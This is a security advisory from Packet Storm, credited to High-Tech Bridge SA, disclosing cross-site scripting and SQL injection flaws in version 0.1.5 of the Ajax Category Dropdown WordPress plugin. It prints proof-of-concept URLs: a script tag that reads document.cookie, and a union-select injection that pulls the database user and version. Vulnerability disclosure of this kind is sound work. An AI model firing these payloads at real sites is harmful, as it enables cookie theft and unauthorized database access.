Ajax Category Dropdown WordPress Plugin 0.1.5 XSS / SQL Injection

2011-04-22T00:00:00
ID PACKETSTORM:100686
Type packetstorm
Reporter High-Tech Bridge SA
Modified 2011-04-22T00:00:00

Description

                                        
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Vulnerability ID: HTB22947  
Reference: http://www.htbridge.ch/advisory/xss_in_ajax_category_dropdown_wordpress_plugin.html  
Product: Ajax Category Dropdown wordpress plugin  
Vendor: http://www.dyasonhat.com/ ( http://www.dyasonhat.com/ )   
Vulnerable Version: 0.1.5  
Vendor Notification: 07 April 2011   
Vulnerability Type: XSS (Cross Site Scripting)  
Risk level: Medium   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
The vulnerability exists due to failure in the "/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php" script to properly sanitize user-supplied input in "category_id" variable.  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
The following PoC is available:  
  
  
http://[host]/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php?admin&category_id=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
  
  
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Vulnerability ID: HTB22946  
Reference: http://www.htbridge.ch/advisory/multiple_sql_injection_in_ajax_category_dropdown_wordpress_plugin.html  
Product: Ajax Category Dropdown wordpress plugin  
Vendor: http://www.dyasonhat.com/ ( http://www.dyasonhat.com/ )   
Vulnerable Version: 0.1.5  
Vendor Notification: 07 April 2011   
Vulnerability Type: SQL Injection  
Risk level: High   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php" script to properly sanitize user-supplied input.  
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.  
  
The following PoC is available:  
  
  
http://[host]/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php?savepostcat&post_id=1&category_id=SQL_CODE_HERE  
http://[host]/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php?get_form_countries&cat_id=SQL_CODE_HERE  
http://[host]/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php?admin&category_level=2&category_id=1%20union%20select%201,user%28%29,3,4,5,6,7,8,9,version%28%29%20--%201  
  
  
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